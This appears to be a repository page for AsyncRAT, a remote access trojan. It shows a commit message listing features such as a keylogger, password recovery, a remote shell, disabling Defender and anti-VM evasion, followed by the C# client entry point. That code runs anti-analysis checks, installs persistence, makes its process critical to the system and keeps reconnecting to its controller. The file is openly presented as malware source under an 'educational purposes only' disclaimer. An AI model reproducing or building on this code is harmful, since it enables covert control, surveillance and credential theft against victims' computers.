-Added report window -Added save keylogger -Added save remote desktop images -Added PC options -Updated password recovery -Updated ProcessCritical -Updated UI to remote shell -Updated disable defender -Updated anti VM -Updated client ID method -Fixed chat -Fixed send to memory -Specail thanks to @MrDevBot and @Thoxy67
56 lines
1.4 KiB
C#
56 lines
1.4 KiB
C#
using System.Threading;
|
|
using Client.Sockets;
|
|
using Client.Install;
|
|
using System;
|
|
using Client.Helper;
|
|
|
|
// │ Author : NYAN CAT
|
|
// │ Name : AsyncRAT // Simple RAT
|
|
|
|
// Contact Me : https://github.com/NYAN-x-CAT
|
|
|
|
// This program Is distributed for educational purposes only.
|
|
|
|
// Credits;
|
|
// Serialization @ymofen
|
|
// StreamLibrary @Dergan
|
|
// Special Thanks MaxXor@hf gigajew@hf
|
|
|
|
namespace Client
|
|
{
|
|
class Program
|
|
{
|
|
|
|
|
|
static void Main()
|
|
{
|
|
Thread.Sleep(2500);
|
|
if (!Methods.CreateMutex())
|
|
Environment.Exit(0);
|
|
|
|
if (Convert.ToBoolean(Settings.Anti))
|
|
Anti_Analysis.RunAntiAnalysis();
|
|
|
|
if (Convert.ToBoolean(Settings.Install))
|
|
NormalStartup.Install();
|
|
|
|
if (Convert.ToBoolean(Settings.BDOS) && Methods.IsAdmin())
|
|
ProcessCritical.Set();
|
|
|
|
#if DEBUG
|
|
ClientSocket.InitializeClient();
|
|
#else
|
|
if (Settings.InitializeSettings())
|
|
ClientSocket.InitializeClient();
|
|
else
|
|
Environment.Exit(0);
|
|
#endif
|
|
while (true)
|
|
{
|
|
if (!ClientSocket.IsConnected)
|
|
ClientSocket.Reconnect();
|
|
Thread.Sleep(new Random().Next(5000));
|
|
}
|
|
}
|
|
}
|
|
} |